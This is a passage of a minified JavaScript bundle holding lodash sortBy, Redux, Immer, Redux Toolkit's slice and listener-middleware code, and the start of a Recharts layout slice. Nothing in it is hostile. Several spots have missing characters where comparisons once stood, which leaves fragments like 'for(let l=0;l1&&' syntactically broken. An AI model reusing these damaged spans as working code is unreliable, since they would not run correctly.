h=0;h1&&r.isIterateeCall(l,c[0],c[1])?c=[]:u>2&&r.isIterateeCall(c[0],c[1],c[2])&&(c=[c[0]]),t.orderBy(l,n.flatten(c),["asc"])}e.sortBy=i})(dy)),dy}var by,w_;function yV(){return w_||(w_=1,by=gV().sortBy),by}var bV=yV();const Xh=Vr(bV);var jR=e=>e.legend.settings,xV=e=>e.legend.size,wV=e=>e.legend.payload;G([wV,jR],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?Xh(r,n):r});var Yf=1;function SV(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=v.useState({height:0,left:0,top:0,width:0}),r=v.useCallback(i=>{if(i!=null){var l=i.getBoundingClientRect(),c={height:l.height,left:l.left,top:l.top,width:l.width};(Math.abs(c.height-t.height)>Yf||Math.abs(c.left-t.left)>Yf||Math.abs(c.top-t.top)>Yf||Math.abs(c.width-t.width)>Yf)&&n({height:c.height,left:c.left,top:c.top,width:c.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function Qt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var OV=typeof Symbol=="function"&&Symbol.observable||"@@observable",S_=OV,xy=()=>Math.random().toString(36).substring(7).split("").join("."),EV={INIT:`@@redux/INIT${xy()}`,REPLACE:`@@redux/REPLACE${xy()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${xy()}`},kd=EV;function px(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function PR(e,t,n){if(typeof e!="function")throw new Error(Qt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(Qt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(Qt(1));return n(PR)(e,t)}let r=e,i=t,l=new Map,c=l,u=0,f=!1;function h(){c===l&&(c=new Map,l.forEach((O,A)=>{c.set(A,O)}))}function p(){if(f)throw new Error(Qt(3));return i}function m(O){if(typeof O!="function")throw new Error(Qt(4));if(f)throw new Error(Qt(5));let A=!0;h();const _=u++;return c.set(_,O),function(){if(A){if(f)throw new Error(Qt(6));A=!1,h(),c.delete(_),l=null}}}function y(O){if(!px(O))throw new Error(Qt(7));if(typeof O.type>"u")throw new Error(Qt(8));if(typeof O.type!="string")throw new Error(Qt(17));if(f)throw new Error(Qt(9));try{f=!0,i=r(i,O)}finally{f=!1}return(l=c).forEach(_=>{_()}),O}function x(O){if(typeof O!="function")throw new Error(Qt(10));r=O,y({type:kd.REPLACE})}function S(){const O=m;return{subscribe(A){if(typeof A!="object"||A===null)throw new Error(Qt(11));function _(){const j=A;j.next&&j.next(p())}return _(),{unsubscribe:O(_)}},[S_](){return this}}}return y({type:kd.INIT}),{dispatch:y,subscribe:m,getState:p,replaceReducer:x,[S_]:S}}function AV(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:kd.INIT})>"u")throw new Error(Qt(12));if(typeof n(void 0,{type:kd.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(Qt(13))})}function RR(e){const t=Object.keys(e),n={};for(let l=0;l"u")throw u&&u.type,new Error(Qt(14));h[m]=S,f=f||S!==x}return f=f||r.length!==Object.keys(c).length,f?h:c}}function Ld(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function CV(...e){return t=>(n,r)=>{const i=t(n,r);let l=()=>{throw new Error(Qt(15))};const c={getState:i.getState,dispatch:(f,...h)=>l(f,...h)},u=e.map(f=>f(c));return l=Ld(...u)(i.dispatch),{...i,dispatch:l}}}function DR(e){return px(e)&&"type"in e&&typeof e.type=="string"}var kR=Symbol.for("immer-nothing"),O_=Symbol.for("immer-draftable"),dn=Symbol.for("immer-state");function br(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Bn=Object,Dl=Bn.getPrototypeOf,Id="constructor",Zh="prototype",j0="configurable",zd="enumerable",hd="writable",Cc="value",Aa=e=>!!e&&!!e[dn];function Ar(e){return e?LR(e)||Qh(e)||!!e[O_]||!!e[Id]?.[O_]||Jh(e)||ep(e):!1}var _V=Bn[Zh][Id].toString(),E_=new WeakMap;function LR(e){if(!e||!mx(e))return!1;const t=Dl(e);if(t===null||t===Bn[Zh])return!0;const n=Bn.hasOwnProperty.call(t,Id)&&t[Id];if(n===Object)return!0;if(!Sl(n))return!1;let r=E_.get(n);return r===void 0&&(r=Function.toString.call(n),E_.set(n,r)),r===_V}function Wc(e,t,n=!0){Xc(e)===0?(n?Reflect.ownKeys(e):Bn.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Xc(e){const t=e[dn];return t?t.type_:Qh(e)?1:Jh(e)?2:ep(e)?3:0}var A_=(e,t,n=Xc(e))=>n===2?e.has(t):Bn[Zh].hasOwnProperty.call(e,t),P0=(e,t,n=Xc(e))=>n===2?e.get(t):e[t],$d=(e,t,n,r=Xc(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function TV(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var Qh=Array.isArray,Jh=e=>e instanceof Map,ep=e=>e instanceof Set,mx=e=>typeof e=="object",Sl=e=>typeof e=="function",wy=e=>typeof e=="boolean";function NV(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var pa=e=>e.copy_||e.base_,vx=e=>e.modified_?e.copy_:e.base_;function R0(e,t){if(Jh(e))return new Map(e);if(ep(e))return new Set(e);if(Qh(e))return Array[Zh].slice.call(e);const n=LR(e);if(t===!0||t==="class_only"&&!n){const r=Bn.getOwnPropertyDescriptors(e);delete r[dn];let i=Reflect.ownKeys(r);for(let l=0;l1&&Bn.defineProperties(e,{set:Gf,add:Gf,clear:Gf,delete:Gf}),Bn.freeze(e),t&&Wc(e,(n,r)=>{gx(r,!0)},!1)),e}function MV(){br(2)}var Gf={[Cc]:MV};function tp(e){return e===null||!mx(e)?!0:Bn.isFrozen(e)}var Bd="MapSet",D0="Patches",C_="ArrayMethods",IR={};function uo(e){const t=IR[e];return t||br(0,e),t}var __=e=>!!IR[e],_c,zR=()=>_c,jV=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:__(Bd)?uo(Bd):void 0,arrayMethodsPlugin_:__(C_)?uo(C_):void 0});function T_(e,t){t&&(e.patchPlugin_=uo(D0),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function k0(e){L0(e),e.drafts_.forEach(PV),e.drafts_=null}function L0(e){e===_c&&(_c=e.parent_)}var N_=e=>_c=jV(_c,e);function PV(e){const t=e[dn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function M_(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[dn].modified_&&(k0(t),br(4)),Ar(e)&&(e=j_(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[dn].base_,e,t)}else e=j_(t,n);return RV(t,e,!0),k0(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==kR?e:void 0}function j_(e,t){if(tp(t))return t;const n=t[dn];if(!n)return yx(t,e.handledSet_,e);if(!np(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);UR(n,e)}return n.copy_}function RV(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&gx(t,n)}function $R(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var np=(e,t)=>e.scope_===t,DV=[];function BR(e,t,n,r){const i=pa(e),l=e.type_;if(r!==void 0&&P0(i,r,l)===t){$d(i,r,n,l);return}if(!e.draftLocations_){const u=e.draftLocations_=new Map;Wc(i,(f,h)=>{if(Aa(h)){const p=u.get(h)||[];p.push(f),u.set(h,p)}})}const c=e.draftLocations_.get(t)??DV;for(const u of c)$d(i,u,n,l)}function kV(e,t,n){e.callbacks_.push(function(i){const l=t;if(!l||!np(l,i))return;i.mapSetPlugin_?.fixSetContents(l);const c=vx(l);BR(e,l.draft_??l,c,n),UR(l,i)})}function UR(e,t){if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(e.assigned_?.size??0)>0)){const{patchPlugin_:r}=t;if(r){const i=r.getPath(e);i&&r.generatePatches_(e,i,t)}$R(e)}}function LV(e,t,n){const{scope_:r}=e;if(Aa(n)){const i=n[dn];np(i,r)&&i.callbacks_.push(function(){pd(e);const c=vx(i);BR(e,n,c,t)})}else Ar(n)&&e.callbacks_.push(function(){const l=pa(e);P0(l,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&yx(P0(e.copy_,t,e.type_),r.handledSet_,r)})}function yx(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Aa(e)||t.has(e)||!Ar(e)||tp(e)||(t.add(e),Wc(e,(r,i)=>{if(Aa(i)){const l=i[dn];if(np(l,n)){const c=vx(l);$d(e,r,c,e.type_),$R(l)}}else Ar(i)&&yx(i,t,n)})),e}function IV(e,t){const n=Qh(e),r={type_:n?1:0,scope_:t?t.scope_:zR(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,l=bx;n&&(i=[r],l=Tc);const{revoke:c,proxy:u}=Proxy.revocable(i,l);return r.draft_=u,r.revoke_=c,[u,r]}var bx={get(e,t){if(t===dn)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n?.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=pa(e);if(!A_(i,t,e.type_))return zV(e,i,t);const l=i[t];if(e.finalized_||!Ar(l)||r&&e.operationMethod&&n?.isMutatingArrayMethod(e.operationMethod)&&NV(t))return l;if(l===Sy(e.base_,t)){pd(e);const c=e.type_===1?+t:t,u=z0(e.scope_,l,e,c);return e.copy_[c]=u}return l},has(e,t){return t in pa(e)},ownKeys(e){return Reflect.ownKeys(pa(e))},set(e,t,n){const r=HR(pa(e),t);if(r?.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Sy(pa(e),t),l=i?.[dn];if(l&&l.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(TV(n,i)&&(n!==void 0||A_(e.base_,t,e.type_)))return!0;pd(e),I0(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),LV(e,t,n)),!0},deleteProperty(e,t){return pd(e),Sy(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),I0(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=pa(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[hd]:!0,[j0]:e.type_!==1||t!=="length",[zd]:r[zd],[Cc]:n[t]}},defineProperty(){br(11)},getPrototypeOf(e){return Dl(e.base_)},setPrototypeOf(){br(12)}},Tc={};Wc(bx,(e,t)=>{Tc[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}});Tc.deleteProperty=function(e,t){return Tc.set.call(this,e,t,void 0)};Tc.set=function(e,t,n){return bx.set.call(this,e[0],t,n,e[0])};function Sy(e,t){const n=e[dn];return(n?pa(n):e)[t]}function zV(e,t,n){const r=HR(t,n);return r?Cc in r?r[Cc]:r.get?.call(e.draft_):void 0}function HR(e,t){if(!(t in e))return;let n=Dl(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Dl(n)}}function I0(e){e.modified_||(e.modified_=!0,e.parent_&&I0(e.parent_))}function pd(e){e.copy_||(e.assigned_=new Map,e.copy_=R0(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var $V=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(Sl(n)&&!Sl(r)){const c=r;r=n;const u=this;return function(h=c,...p){return u.produce(h,m=>r.call(this,m,...p))}}Sl(r)||br(6),i!==void 0&&!Sl(i)&&br(7);let l;if(Ar(n)){const c=N_(this),u=z0(c,n,void 0);let f=!0;try{l=r(u),f=!1}finally{f?k0(c):L0(c)}return T_(c,i),M_(l,c)}else if(!n||!mx(n)){if(l=r(n),l===void 0&&(l=n),l===kR&&(l=void 0),this.autoFreeze_&&gx(l,!0),i){const c=[],u=[];uo(D0).generateReplacementPatches_(n,l,{patches_:c,inversePatches_:u}),i(c,u)}return l}else br(1,n)},this.produceWithPatches=(n,r)=>{if(Sl(n))return(u,...f)=>this.produceWithPatches(u,h=>n(h,...f));let i,l;return[this.produce(n,r,(u,f)=>{i=u,l=f}),i,l]},wy(t?.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),wy(t?.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),wy(t?.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Ar(t)||br(8),Aa(t)&&(t=Sr(t));const n=N_(this),r=z0(n,t,void 0);return r[dn].isManual_=!0,L0(n),r}finishDraft(t,n){const r=t&&t[dn];(!r||!r.isManual_)&&br(9);const{scope_:i}=r;return T_(i,n),M_(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const l=n[r];if(l.path.length===0&&l.op==="replace"){t=l.value;break}}r>-1&&(n=n.slice(r+1));const i=uo(D0).applyPatches_;return Aa(t)?i(t,n):this.produce(t,l=>i(l,n))}};function z0(e,t,n,r){const[i,l]=Jh(t)?uo(Bd).proxyMap_(t,n):ep(t)?uo(Bd).proxySet_(t,n):IV(t,n);return(n?.scope_??zR()).drafts_.push(i),l.callbacks_=n?.callbacks_??[],l.key_=r,n&&r!==void 0?kV(n,l,r):l.callbacks_.push(function(f){f.mapSetPlugin_?.fixSetContents(l);const{patchPlugin_:h}=f;l.modified_&&h&&h.generatePatches_(l,[],f)}),i}function Sr(e){return Aa(e)||br(10,e),qR(e)}function qR(e){if(!Ar(e)||tp(e))return e;const t=e[dn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=R0(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=R0(e,!0);return Wc(n,(i,l)=>{$d(n,i,qR(l))},r),t&&(t.finalized_=!1),n}var BV=new $V,FR=BV.produce;function VR(e){return({dispatch:n,getState:r})=>i=>l=>typeof l=="function"?l(n,r,e):i(l)}var UV=VR(),HV=VR,qV=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?Ld:Ld.apply(null,arguments)};function fr(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(Hn(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>DR(r)&&r.type===e,n}var KR=class pc extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,pc.prototype)}static get[Symbol.species](){return pc}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new pc(...t[0].concat(this)):new pc(...t.concat(this))}};function P_(e){return Ar(e)?FR(e,()=>{}):e}function Wf(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function FV(e){return typeof e=="boolean"}var VV=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:l=!0}=t??{};let c=new KR;return n&&(FV(n)?c.push(UV):c.push(HV(n.extraArgument))),c},YR="RTK_autoBatch",ct=()=>e=>({payload:e,meta:{[YR]:!0}}),R_=e=>t=>{setTimeout(t,e)},GR=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,l=!1,c=!1;const u=new Set,f=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:R_(10):e.type==="callback"?e.queueNotification:R_(e.timeout),h=()=>{c=!1,l&&(l=!1,u.forEach(p=>p()))};return Object.assign({},r,{subscribe(p){const m=()=>i&&p(),y=r.subscribe(m);return u.add(p),()=>{y(),u.delete(p)}},dispatch(p){try{return i=!p?.meta?.[YR],l=!i,l&&(c||(c=!0,f(h))),r.dispatch(p)}finally{i=!0}}})},KV=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new KR(e);return r&&i.push(GR(typeof r=="object"?r:void 0)),i};function YV(e){const t=VV(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:l=void 0,enhancers:c=void 0}=e||{};let u;if(typeof n=="function")u=n;else if(px(n))u=RR(n);else throw new Error(Hn(1));let f;typeof r=="function"?f=r(t):f=t();let h=Ld;i&&(h=qV({trace:!1,...typeof i=="object"&&i}));const p=CV(...f),m=KV(p);let y=typeof c=="function"?c(m):m();const x=h(...y);return PR(u,l,x)}function WR(e){const t={},n=[];let r;const i={addCase(l,c){const u=typeof l=="string"?l:l.type;if(!u)throw new Error(Hn(28));if(u in t)throw new Error(Hn(29));return t[u]=c,i},addAsyncThunk(l,c){return c.pending&&(t[l.pending.type]=c.pending),c.rejected&&(t[l.rejected.type]=c.rejected),c.fulfilled&&(t[l.fulfilled.type]=c.fulfilled),c.settled&&n.push({matcher:l.settled,reducer:c.settled}),i},addMatcher(l,c){return n.push({matcher:l,reducer:c}),i},addDefaultCase(l){return r=l,i}};return e(i),[t,n,r]}function GV(e){return typeof e=="function"}function WV(e,t){let[n,r,i]=WR(t),l;if(GV(e))l=()=>P_(e());else{const u=P_(e);l=()=>u}function c(u=l(),f){let h=[n[f.type],...r.filter(({matcher:p})=>p(f)).map(({reducer:p})=>p)];return h.filter(p=>!!p).length===0&&(h=[i]),h.reduce((p,m)=>{if(m)if(Aa(p)){const x=m(p,f);return x===void 0?p:x}else{if(Ar(p))return FR(p,y=>m(y,f));{const y=m(p,f);if(y===void 0){if(p===null)return p;throw Error("A case reducer on a non-draftable value must not return undefined")}return y}}return p},u)}return c.getInitialState=l,c}var XV="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",ZV=(e=21)=>{let t="",n=e;for(;n--;)t+=XV[Math.random()*64|0];return t},QV=Symbol.for("rtk-slice-createasyncthunk");function JV(e,t){return`${e}/${t}`}function eK({creators:e}={}){const t=e?.asyncThunk?.[QV];return function(r){const{name:i,reducerPath:l=i}=r;if(!i)throw new Error(Hn(11));const c=(typeof r.reducers=="function"?r.reducers(nK()):r.reducers)||{},u=Object.keys(c),f={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},h={addCase(T,j){const M=typeof T=="string"?T:T.type;if(!M)throw new Error(Hn(12));if(M in f.sliceCaseReducersByType)throw new Error(Hn(13));return f.sliceCaseReducersByType[M]=j,h},addMatcher(T,j){return f.sliceMatchers.push({matcher:T,reducer:j}),h},exposeAction(T,j){return f.actionCreators[T]=j,h},exposeCaseReducer(T,j){return f.sliceCaseReducersByName[T]=j,h}};u.forEach(T=>{const j=c[T],M={reducerName:T,type:JV(i,T),createNotation:typeof r.reducers=="function"};aK(j)?oK(M,j,h,t):rK(M,j,h)});function p(){const[T={},j=[],M=void 0]=typeof r.extraReducers=="function"?WR(r.extraReducers):[r.extraReducers],P={...T,...f.sliceCaseReducersByType};return WV(r.initialState,R=>{for(let I in P)R.addCase(I,P[I]);for(let I of f.sliceMatchers)R.addMatcher(I.matcher,I.reducer);for(let I of j)R.addMatcher(I.matcher,I.reducer);M&&R.addDefaultCase(M)})}const m=T=>T,y=new Map,x=new WeakMap;let S;function w(T,j){return S||(S=p()),S(T,j)}function O(){return S||(S=p()),S.getInitialState()}function A(T,j=!1){function M(R){let I=R[T];return typeof I>"u"&&j&&(I=Wf(x,M,O)),I}function P(R=m){const I=Wf(y,j,()=>new WeakMap);return Wf(I,R,()=>{const B={};for(const[q,U]of Object.entries(r.selectors??{}))B[q]=tK(U,R,()=>Wf(x,R,O),j);return B})}return{reducerPath:T,getSelectors:P,get selectors(){return P(M)},selectSlice:M}}const _={name:i,reducer:w,actions:f.actionCreators,caseReducers:f.sliceCaseReducersByName,getInitialState:O,...A(l),injectInto(T,{reducerPath:j,...M}={}){const P=j??l;return T.inject({reducerPath:P,reducer:w},M),{..._,...A(P,!0)}}};return _}}function tK(e,t,n,r){function i(l,...c){let u=t(l);return typeof u>"u"&&r&&(u=n()),e(u,...c)}return i.unwrapped=e,i}var An=eK();function nK(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function rK({type:e,reducerName:t,createNotation:n},r,i){let l,c;if("reducer"in r){if(n&&!iK(r))throw new Error(Hn(17));l=r.reducer,c=r.prepare}else l=r;i.addCase(e,l).exposeCaseReducer(t,l).exposeAction(t,c?fr(e,c):fr(e))}function aK(e){return e._reducerDefinitionType==="asyncThunk"}function iK(e){return e._reducerDefinitionType==="reducerWithPrepare"}function oK({type:e,reducerName:t},n,r,i){if(!i)throw new Error(Hn(18));const{payloadCreator:l,fulfilled:c,pending:u,rejected:f,settled:h,options:p}=n,m=i(e,l,p);r.exposeAction(t,m),c&&r.addCase(m.fulfilled,c),u&&r.addCase(m.pending,u),f&&r.addCase(m.rejected,f),h&&r.addMatcher(m.settled,h),r.exposeCaseReducer(t,{fulfilled:c||Xf,pending:u||Xf,rejected:f||Xf,settled:h||Xf})}function Xf(){}var lK="task",XR="listener",ZR="completed",xx="cancelled",sK=`task-${xx}`,cK=`task-${ZR}`,$0=`${XR}-${xx}`,uK=`${XR}-${ZR}`,rp=class{constructor(e){this.code=e,this.message=`${lK} ${xx} (reason: ${e})`}name="TaskAbortError";message},wx=(e,t)=>{if(typeof e!="function")throw new TypeError(Hn(32))},Ud=()=>{},QR=(e,t=Ud)=>(e.catch(t),e),JR=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),eo=e=>{if(e.aborted)throw new rp(e.reason)};function eD(e,t){let n=Ud;return new Promise((r,i)=>{const l=()=>i(new rp(e.reason));if(e.aborted){l();return}n=JR(e,l),t.finally(()=>n()).then(r,i)}).finally(()=>{n=Ud})}var fK=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof rp?"cancelled":"rejected",error:n}}finally{t?.()}},Hd=e=>t=>QR(eD(e,t).then(n=>(eo(e),n))),tD=e=>{const t=Hd(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Tl}=Object,D_={},ap="listenerMiddleware",dK=(e,t)=>{const n=r=>JR(e,()=>r.abort(e.reason));return(r,i)=>{wx(r);const l=new AbortController;n(l);const c=fK(async()=>{eo(e),eo(l.signal);const u=await r({pause:Hd(l.signal),delay:tD(l.signal),signal:l.signal});return eo(l.signal),u},()=>l.abort(cK));return i?.autoJoin&&t.push(c.catch(Ud)),{result:Hd(e)(c),cancel(){l.abort(sK)}}}},hK=(e,t)=>{const n=async(r,i)=>{eo(t);let l=()=>{};const u=[new Promise((f,h)=>{let p=e({predicate:r,effect:(m,y)=>{y.unsubscribe(),f([m,y.getState(),y.getOriginalState()])}});l=()=>{p(),h()}})];i!=null&&u.push(new Promise(f=>setTimeout(f,i,null)));try{const f=await eD(t,Promise.race(u));return eo(t),f}finally{l()}};return(r,i)=>QR(n(r,i))},nD=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:l}=e;if(t)i=fr(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(Hn(21));return wx(l),{predicate:i,type:t,effect:l}},rD=Tl(e=>{const{type:t,predicate:n,effect:r}=nD(e);return{id:ZV(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(Hn(22))}}},{withTypes:()=>rD}),k_=(e,t)=>{const{type:n,effect:r,predicate:i}=nD(t);return Array.from(e.values()).find(l=>(typeof n=="string"?l.type===n:l.predicate===i)&&l.effect===r)},B0=e=>{e.pending.forEach(t=>{t.abort($0)})},pK=(e,t)=>()=>{for(const n of t.keys())B0(n);e.clear()},L_=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},aD=Tl(fr(`${ap}/add`),{withTypes:()=>aD}),mK=fr(`${ap}/removeAll`),iD=Tl(fr(`${ap}/remove`),{withTypes:()=>iD}),vK=(...e)=>{console.error(`${ap}/error`,...e)},Zc=(e={})=>{const t=new Map,n=new Map,r=x=>{const S=n.get(x)??0;n.set(x,S+1)},i=x=>{const S=n.get(x)??1;S===1?n.delete(x):n.set(x,S-1)},{extra:l,onError:c=vK}=e;wx(c);const u=x=>(x.unsubscribe=()=>t.delete(x.id),t.set(x.id,x),S=>{x.unsubscribe(),S?.cancelActive&&B0(x)}),f=x=>{const S=k_(t,x)??rD(x);return u(S)};Tl(f,{withTypes:()=>f});const h=x=>{const S=k_(t,x);return S&&(S.unsubscribe(),x.cancelActive&&B0(S)),!!S};Tl(h,{withTypes:()=>h});const p=async(x,S,w,O)=>{const A=new AbortController,_=hK(f,A.signal),T=[];try{x.pending.add(A),r(x),await Promise.resolve(x.effect(S,Tl({},w,{getOriginalState:O,condition:(j,M)=>_(j,M).then(Boolean),take:_,delay:tD(A.signal),pause:Hd(A.signal),extra:l,signal:A.signal,fork:dK(A.signal,T),unsubscribe:x.unsubscribe,subscribe:()=>{t.set(x.id,x)},cancelActiveListeners:()=>{x.pending.forEach((j,M,P)=>{j!==A&&(j.abort($0),P.delete(j))})},cancel:()=>{A.abort($0),x.pending.delete(A)},throwIfCancelled:()=>{eo(A.signal)}})))}catch(j){j instanceof rp||L_(c,j,{raisedBy:"effect"})}finally{await Promise.all(T),A.abort(uK),i(x),x.pending.delete(A)}},m=pK(t,n);return{middleware:x=>S=>w=>{if(!DR(w))return S(w);if(aD.match(w))return f(w.payload);if(mK.match(w)){m();return}if(iD.match(w))return h(w.payload);let O=x.getState();const A=()=>{if(O===D_)throw new Error(Hn(23));return O};let _;try{if(_=S(w),t.size>0){const T=x.getState(),j=Array.from(t.values());for(const M of j){let P=!1;try{P=M.predicate(w,T,O)}catch(R){P=!1,L_(c,R,{raisedBy:"predicate"})}P&&p(M,w,x,A)}}}finally{O=D_}return _},startListening:f,stopListening:h,clearListeners:m}};function Hn(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var gK={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},oD=An({name:"chartLayout",initialState:gK,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,l;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(l=t.payload.left)!==null&&l!==void 0?l:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:yK,setLayout:bK,setChartSize:xK,setScale:wK}=oD.actions,SK=oD.reducer;function lD(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function ht(e){return Number.isFinite(e)}function Si(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function I_(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function El(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:l,verticalAlign:c,layout:u}=t;if((u==="vertical"||u==="horizontal"&&c==="middle")&&l!=="center"&&Oe(e[l]))return El(El({},e),{},{[l]:e[l]+(r||0)});if((u==="horizontal"||u==="vertical"&&l==="center")&&c!=="middle"&&Oe(e[c]))return El(El({},e),{},{[c]:e[c]+(i||0)})}return e},So=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",z_=1e-4,_K=e=>{var t=e.domain();if(!(!t||t.length<=2)){var n=t.length,r=e.range(),i=Math.min(r[0],r[1])-z_,l=Math.max(r[0],r[1])+z_,c=e(t[0]),u=e(t[n-1]);(cl||ul)&&e.domain([t[0],t[n-1]])}},TK=(e,t)=>{if(!t||t.length!==2||!Oe(t[0])||!Oe(t[1]))return e;var 